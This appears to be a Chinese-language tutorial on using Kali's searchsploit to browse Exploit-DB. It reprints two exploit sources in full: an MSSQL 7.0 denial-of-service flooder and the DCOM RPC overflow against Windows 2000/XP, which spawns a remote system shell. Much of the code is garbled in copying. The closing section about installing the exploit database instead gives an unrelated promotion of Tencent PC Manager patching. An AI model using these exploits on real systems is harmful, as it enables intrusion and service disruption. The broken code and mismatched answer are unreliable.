exploit db（利用kali查找网站漏洞教学）

本文目录

• 利用kali查找网站漏洞教学
• 怎么把exploit-db网站的漏洞库安装到kali里面

利用kali查找网站漏洞教学

Searchsploit

本文来自 www.cnhackteam.org

Searchsploit会通过本地的exploit-db， 查找软件漏洞信息

打开kali的命令行， 输入：

searchsploit

查看系统帮助

查找mssql的漏洞

如果要查找 mssql的漏洞， 命令如下， 会找到所有和mssql相关的漏洞信息， 后面还有相关的漏洞描述信息：

searchsploit mssql

要看相关的漏洞描述， 如果要看mysql7.0的远程DOS漏洞 ， 把漏洞描述后面的路径用器打开即可：

leafpad /usr/share/exploitdb/platforms/./windows/dos/562.c

文本文件里面的内容为漏洞说明文件和漏洞利用文件：

/* Microsoft mssql 7.0 server is vulnerable to denial of service attack

* By sending a large buffer with specified data an attacker can stop

the service

* "mssqlserver" the error noticed is different according to services’

pack but the result is always

* the same one.

* Exception Codes = c0000005

* vulnerable: MSSQL7.0 sp0 - sp1 - sp2 - sp3

* This code is for educational purposes, I am not responsible for your acts

* Greets:sm0g DEADm|x #crack.fr itmaroc and evryone who I forgot */ #include 《stdio.h》

#include 《winsock.h》

#pragma comment(lib,"ws2_32")

u_long resolv(char*);

void main(int argc, char **argv) {

WSADATA WinsockData;

SOCKET s; int i; struct sockaddr_in vulh; char buffer; for(i=0;i《700000;i+=16)memcpy(buffer+i,"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc",16); if (argc!=3) {

printf(" MSSQL denial of service\n");

printf(" by securma massine\n");

printf("Cet outil a ete cree pour test ,je ne suis en aucun cas

responsable des degats que vous pouvez en faire\n");

printf("Syntaxe: MSSQLdos 《ip》 《port》\n");

exit(1);

}

WSAStartup(0x101,&WinsockData);

s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

ZeroMemory(&vulh,sizeof(vulh));

vulh.sin_family=AF_INET;

vulh.sin_addr.s_addr=resolv(argv);

vulh.sin_port=htons(atoi(argv)); if (connect(s,(struct sockaddr*)&vulh,sizeof(vulh))==SOCKET_ERROR) {

printf("Impossible de se connecter...le port est en generale 1433...\n");

exit(1);

}

{

send(s,buffer,sizeof(buffer),0);

printf("Data envoyes...\n");

}

printf("\nattendez quelques secondes et verifiez que le serveur ne

repond plus.\n");

closesocket(s);

WSACleanup();

}

u_long resolv(char *host_name) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr = inet_addr(host_name)) == -1) { if (!(host_ent = gethostbyname(host_name))) {

printf ("Erreur DNS : Impossible de résoudre l’adresse %s

!!!\n",host_name);

exit(1);

}

CopyMemory((char *)&addr.s_addr,host_ent-》h_addr,host_ent-》h_length);

} return addr.s_addr;

} // milw0rm.com View Code

查找和window XP有关的漏洞

searchsploit /xp

查看漏洞利用文件：

leafpad /usr/share/exploitdb/platforms/./windows/remote/66.c

/*

  DCOM RPC Overflow Discovered by LSD - Exploit Based on Xfocus’s Code
  Written by H D Moore 《hdm metasploit.com》
  - Usage: ./dcom 《Target ID》 《Target IP》

  - Targets:

  -          0    Windows 2000 SP0 (english)

  -          1    Windows 2000 SP1 (english)

  -          2    Windows 2000 SP2 (english)

  -          3    Windows 2000 SP3 (english)

  -          4    Windows 2000 SP4 (english)

  -          5    Windows XP SP0 (english)

  -          6    Windows XP SP1 (english)

*/ #include 《stdio.h》 #include 《stdlib.h》 #include 《error.h》 #include 《sys/types.h》 #include 《sys/socket.h》 #include 《netinet/in.h》 #include 《arpa/inet.h》 #include 《unistd.h》 #include 《netdb.h》 #include 《fcntl.h》 #include 《unistd.h》 unsigned char bindstr =

        { "Windows 2000 SP0 (english)", "Windows 2000 SP1 (english)", "Windows 2000 SP2 (english)", "Windows 2000 SP3 (english)", "Windows 2000 SP4 (english)", "Windows XP SP0 (english)", "Windows XP SP1 (english)", NULL }; unsigned long offsets =

        { 0x77e81674, 0x77e829ec, 0x77e824b5, 0x77e8367a, 0x77f92a9b, 0x77e9afe3, 0x77e626ba,

        }; unsigned char sc;

        fd_set  rfds; while (1) {

                FD_SET (0, &rfds);

                FD_SET (sock, &rfds);

                select (sock + 1, &rfds, NULL, NULL, NULL); if (FD_ISSET (0, &rfds)) {

                        l = read (0, buf, sizeof (buf)); if (l 《= 0) { printf("\n - Connection closed by local user\n"); exit (EXIT_FAILURE);

                        }

                        write (sock, buf, l);

                } if (FD_ISSET (sock, &rfds)) {

                        l = read (sock, buf, sizeof (buf)); if (l == 0) { printf ("\n - Connection closed by remote host.\n"); exit (EXIT_FAILURE);

                        } else if (l 《 0) { printf ("\n - Read failure\n"); exit (EXIT_FAILURE);

                        }

                        write (1, buf, l);

                }

        }

} int main(int argc, char **argv) { int sock; int len,len1; unsigned int target_id; unsigned long ret; struct sockaddr_in target_ip; unsigned short port = 135; unsigned char buf1 metasploit.com》\n"); if(argc《3)

    { printf("- Usage: %s 《Target ID》 《Target IP》\n", argv != NULL; len++)

        { printf("-          %d\t%s\n", len, targets); 

        } printf("\n"); exit(1);

    } /* yeah, get over it :) */ target_id = atoi(argv);

    ret = offsets; printf("- Using return address of 0x%.8x\n", ret); memcpy(sc+36, (unsigned char *) &ret, 4);

    target_ip.sin_family = AF_INET;

    target_ip.sin_addr.s_addr = inet_addr(argv);

    target_ip.sin_port = htons(port); if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)

    {

        perror("- Socket"); return(0);

    } if(connect(sock,(struct sockaddr *)⌖_ip, sizeof(target_ip)) != 0)

    {

        perror("- Connect"); return(0);

    }
    len=sizeof(sc); memcpy(buf2,request1,sizeof(request1));

    len1=sizeof(request1);
    *(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2; 

    *(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2; memcpy(buf2+len1,request2,sizeof(request2));

    len1=len1+sizeof(request2); memcpy(buf2+len1,sc,sizeof(sc));

    len1=len1+sizeof(sc); memcpy(buf2+len1,request3,sizeof(request3));

    len1=len1+sizeof(request3); memcpy(buf2+len1,request4,sizeof(request4));

    len1=len1+sizeof(request4);
    *(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc; 

    *(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;

    *(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;

    *(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;

    *(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;

    *(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;

    *(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc; if (send(sock,bindstr,sizeof(bindstr),0)== -1)

    {

            perror("- Send"); return(0);

    }

    len=recv(sock, buf1, 1000, 0); if (send(sock,buf2,len1,0)== -1)

    {

            perror("- Send"); return(0);

    }

    close(sock);

    sleep(1);
    target_ip.sin_family = AF_INET;

    target_ip.sin_addr.s_addr = inet_addr(argv);

    target_ip.sin_port = htons(4444); if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)

    {

        perror("- Socket"); return(0);

    } if(connect(sock,(struct sockaddr *)⌖_ip, sizeof(target_ip)) != 0)

    { printf("- Exploit appeared to have failed.\n"); return(0);

    } printf("- Dropping to System Shell...\n\n");

    shell(sock); return(0);

} // milw0rm.com View Code

查找apple的漏洞

searchsploit apple

怎么把exploit-db网站的漏洞库安装到kali里面

建议腾讯电脑管家修复
1）腾讯电脑管家会智能匹配电脑系统，针对性推送适合系统的高危漏洞补丁，而其他安全软件可能推送非高危漏洞补丁；
2）腾讯电脑管家推送最近发布的漏洞补丁包，而其他安全软件可能提示已过期的漏洞补丁（可以通过查看各安全软件的补丁发布日期得知）。
3）腾讯电脑管家还可以定期自动删除补丁包，清理电脑空间
打开腾讯电脑管家——主菜单——修复漏洞——定期删除补丁包（默认勾选状态）